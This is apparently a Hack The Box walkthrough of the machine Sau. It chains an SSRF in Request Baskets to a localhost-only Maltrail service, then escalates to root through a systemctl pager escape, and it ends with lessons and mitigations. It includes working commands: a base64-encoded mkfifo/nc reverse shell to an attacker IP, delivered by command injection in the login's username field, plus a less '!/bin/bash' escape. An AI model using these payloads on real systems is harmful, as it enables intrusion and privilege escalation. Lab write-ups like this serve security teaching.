Skip to main content

HTB Walkthrough: Sau

·1418 words·7 mins
Table of Contents
Walkthrough of Sau on Hack The Box. Easy difficulty machine running Linux. An SSRF in Request Baskets v1.2.1 (CVE-2023-27163) lets us pivot to Maltrail v0.53, a malicious traffic detection service accessible only from localhost. Maltrail has an unauthenticated RCE in its login endpoint that gives us a shell as puma. Escalation to root exploits CVE-2023-26604: systemctl status run via sudo invokes less as a pager inheriting root privileges, which we escape with !/bin/bash.

HackTheBox Linux Easy


πŸ—ΊοΈ Machine Info
#

FieldDetail
NameSau
OSLinux
DifficultyEasy
IP10.129.229.26
TechniquesCVE-2023-27163 Β· SSRF Β· Maltrail RCE Β· CVE-2023-26604 Β· sudo Pager Escape

1. Reconnaissance
#

1.1 Port Scan
#

nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.229.26
PORT      STATE SERVICE
22/tcp    open  ssh
55555/tcp open  unknown

Version scan on open ports:

nmap -sC -sV -p22,55555 10.129.229.26
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu
55555/tcp open  http    Golang net/http server
|_http-title: Request Baskets

Open ports:

  • 22 β†’ SSH, no known public exploits
  • 55555 β†’ Golang service redirecting to /web β€” Request Baskets

πŸ’‘ Attack surface: Only two ports. All initial research goes through the web service on 55555.


2. Application Identification β€” Request Baskets v1.2.1
#

Visiting http://10.129.229.26:55555/web confirms the application and its version.

Request Baskets β€” basket creation main screen

Powered by request-baskets | Version: 1.2.1

What is Request Baskets? A tool that creates configurable HTTP “baskets” to capture, inspect, and proxy requests to a target URL. This forwarding functionality is exactly the attack vector.

⚠️ Vulnerability identified: Request Baskets v1.2.1 is vulnerable to CVE-2023-27163, an SSRF (Server-Side Request Forgery): the forward_url field in a basket’s configuration doesn’t restrict the destination, allowing the server itself to make HTTP requests to internal addresses (127.0.0.1, private networks) on behalf of the attacker.


3. Exploitation β€” SSRF via Request Baskets (CVE-2023-27163)
#

3.1 Step 1 β€” Create a Basket and Verify the SSRF
#

From /web we create a new basket. The application assigns a random name (e.g. h68nagt). We configure forward_url pointing to our VPN IP with Proxy Response and Expand Forward Path enabled:

Basket configuration pointing to our VPN IP to confirm SSRF

We open a listener:

nc -lnvp 80

We trigger a request against the basket:

curl http://10.129.229.26:55555/h68nagt

The listener receives the request forwarded by the target server:

Listening on 0.0.0.0 80
Connection received on 10.129.229.26 39160
GET / HTTP/1.1
Host: 10.10.14.211
User-Agent: curl/8.14.1
X-Do-Not-Forward: 1

βœ… SSRF confirmed. The target server made the HTTP request on our behalf. The X-Do-Not-Forward: 1 header is an internal Request Baskets protection to prevent forwarding loops β€” it doesn’t prevent directing the proxy to internal destinations.

3.2 Step 2 β€” Pivot to the Internal Service
#

We reconfigure the basket to point to http://127.0.0.1:80 β€” the target machine’s localhost, on a port that didn’t appear in the Nmap scan because it only listens on loopback:

Basket configuration pointing to 127.0.0.1:80 to pivot to the internal service

Repeating the request against the basket, the forwarded response reveals the local application:

Maltrail v0.53 discovered after SSRF pivot to localhost

Maltrail v0.53 β€” a malicious traffic detection system.

πŸ’‘ Why this works: Port 80 is only exposed on 127.0.0.1, invisible from the outside. But the SSRF makes the server itself make the connection, not us β€” from the target machine’s kernel, the request comes from itself, so the loopback filter doesn’t apply.

⚠️ Vulnerability identified: Maltrail v0.53 has an unauthenticated RCE on the /login endpoint: the username parameter is passed unsanitized to a system command (logger), allowing command injection via subshell substitution (`...`).


4. Exploitation β€” Unauthenticated RCE on Maltrail
#

4.1 Payload Construction
#

We base64-encode the reverse shell to avoid issues with special characters in the request:

ENC=$(echo -n "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.211 4444 >/tmp/f" | base64 -w0)

4.2 Delivery via SSRF
#

We leverage the SSRF basket (configured to forward to 127.0.0.1:80) to deliver the payload to Maltrail’s login endpoint:

curl 'http://10.129.229.26:55555/h68nagt/login' \
  --data "username=;\`echo+$ENC+|+base64+-d+|+sh\`"
Login failed

πŸ’‘ Payload logic: The username field closes the context expected by the logger command and injects a subshell substitution that decodes the base64 payload and executes it with sh. The Login failed response is normal behavior β€” the command already executed in the background before the login logic finishes processing.

4.3 Receiving the Shell
#

nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.229.26 35486
sh: 0: can't access tty; job control turned off
$ whoami
puma

TTY stabilization:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; export SHELL=bash
stty rows 40 cols 150; reset

βœ… Shell obtained as puma.


5. User Flag
#

puma@sau:~$ cat ~/user.txt

πŸ”‘ User flag obtained.


6. Privilege Escalation β€” CVE-2023-26604 (Pager Escape in systemctl)
#

6.1 Sudo Permission Enumeration
#

puma@sau:~$ sudo -l
User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$ systemctl --version
systemd 245 (245.4-4ubuntu3.22)

⚠️ Vulnerability identified (CVE-2023-26604): When systemctl status output exceeds the terminal height, systemd automatically invokes a pager (less) to paginate it. If the command was run via sudo, that less inherits root privileges. less allows executing arbitrary shell commands with !<command>, inheriting those same privileges.

6.2 Exploit Execution
#

puma@sau:~$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
   Loaded: loaded (/etc/systemd/system/trail.service; enabled)
   Active: active (running) since Mon 2026-07-13 10:56:47 UTC; 3h 30min ago
 Main PID: 896 (python3)
    Tasks: 13 (limit: 4662)
   Memory: 29.3M
   CGroup: /system.slice/trail.service
           β”œβ”€ 896 /usr/bin/python3 server.py
           └─1342 pager

The output opens paginated via less, executed in the sudo process tree β€” with root privileges. Inside the pager we type:

!/bin/bash
root@sau:/opt/maltrail# id
uid=0(root) gid=0(root) groups=0(root)

βœ… Escalation to root completed.


7. Root Flag
#

root@sau:~# cat /root/root.txt

🏁 Root flag obtained.


8. Summary and Lessons Learned
#

Compromise path:

  1. Recon β†’ Port 55555 with Request Baskets v1.2.1.
  2. CVE-2023-27163 β†’ SSRF via forward_url β†’ confirmed by forwarding request to our IP.
  3. Pivot β†’ Forward to 127.0.0.1:80 β†’ Maltrail v0.53 discovered (only accessible on localhost).
  4. Maltrail RCE β†’ Command injection in username parameter of the login β†’ reverse shell as puma.
  5. User flag β†’ ~/user.txt.
  6. CVE-2023-26604 β†’ sudo systemctl status invokes less as pager with root privileges β†’ !/bin/bash β†’ root.

What I learned from this machine:

  • “Only listens on localhost” is not a security barrier if there’s an SSRF in another service. Port 80 of Maltrail was invisible to an external scanner, but the SSRF turned the server itself into our proxy. Internal network segmentation must complement binding restrictions β€” an unauthenticated service on loopback is still vulnerable if there’s another exploitable service on the same machine.

  • SSRF is often the first link in a chain, not the attack itself. The value of CVE-2023-27163 wasn’t in the SSRF per se but in what was behind it: a more dangerous service only reachable through it. The pivot methodology (confirm SSRF β†’ scan internal ranges β†’ identify hidden services) is the pattern to follow whenever an SSRF is found.

  • Command injection in logging parameters is a classic, still-relevant error. Maltrail used logger to record failed login attempts, passing username unsanitized. Any call to an external command that includes user input without going through an argument list (subprocess.run([...]) in Python, equivalents in other languages) is potentially vulnerable. The correct fix in Maltrail would have been to use subprocess arguments as a list, not as a shell string.

  • CVE-2023-26604 illustrates why interactive pagers are dangerous in sudo contexts. less is useful, but when invoked with elevated privileges it becomes a trivial escape vector β€” !command effectively turns it into a shell with those privileges. The fix is always to pass --no-pager or set SYSTEMD_PAGER=cat in sudoers rules for any systemd command run via sudo.

  • This machine’s full chain is two 2023 CVEs chained together. Neither is sophisticated in isolation β€” one is a poorly restricted proxy, the other is a pager that launches shells. The value is in recognizing the pattern: when sudo permits executing something that can in turn open an interactive process (pager, editor, interpreter), investigate whether that process inherits privileges.

Mitigations:

VectorMitigation
CVE-2023-27163 β€” SSRF in Request BasketsUpdate to patched version; validate and restrict forward_url destinations (block private ranges and loopback)
Maltrail on localhost without authenticationDon’t assume loopback is secure; apply authentication to all services regardless of binding
RCE in Maltrail login (injection in logger)Update Maltrail; use argument lists in subprocess calls β€” never interpolate user input into shell strings
sudo NOPASSWD on systemctl statusAdd --no-pager or set SYSTEMD_PAGER=cat in the sudoers rule; avoid sudo permissions on commands that invoke interactive pagers
CVE-2023-26604 β€” pager escape with inherited privilegesUpdate systemd to patched version (β‰₯ 247); configure PAGER=cat for sudo-executable commands